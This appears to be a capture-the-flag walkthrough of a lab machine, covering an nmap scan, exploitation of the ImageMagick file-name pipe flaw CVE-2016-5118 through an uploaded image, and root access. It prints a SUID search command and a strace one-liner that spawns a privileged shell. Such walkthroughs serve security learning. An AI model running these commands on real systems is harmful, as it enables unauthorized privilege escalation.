Nmap

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 62:36:1a:5c:d3:e3:7b:e1:70:f8:a3:b3:1c:4c:24:38 (RSA)
|   256 ee:25:fc:23:66:05:c0:c1:ec:47:c6:bb:00:c7:4f:53 (ECDSA)
|_  256 83:5c:51:ac:32:e5:3a:21:7c:f6:c2:cd:93:68:58:d8 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: ImageMagick Identifier
|_http-server-header: Apache/2.4.41 (Ubuntu)
Device type: general purpose|router
Running: Linux 5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 5.0 - 5.14, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Uptime guess: 43.755 days (since Thu Sep 17 03:58:12 2026)
Network Distance: 4 hops
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeration

PortServiceComments
22SSHNo credentials
80HTTPImageMagick Identifier tool

On port 80 there is an ImageMagick Identifier tool. It is vulnerable to CVE-2016-5118.

Info

CVE-2016-5118 showed that opening any image file whose name starts with a ’|’ character, ImageMagick will popen the remaining part of the file name. As a fix, it add a configure option —enable-pipes to specially turn on the support of pipes; and also, the invocation of SanitizeString is added before popen_utf8 the filename to suppress aribitary command execution.

We find an exploit here, and run it to create a special image file with our payload in the image’s name.

We open a listener and upload the payload image.

Privilege Escalation

We find a SUID binary called strace. GTFOBins has the command.

find / -perm -u+s 2>/dev/null
/usr/bin/strace -o dev/null /bin/sh -p

🤗 Done! 🤗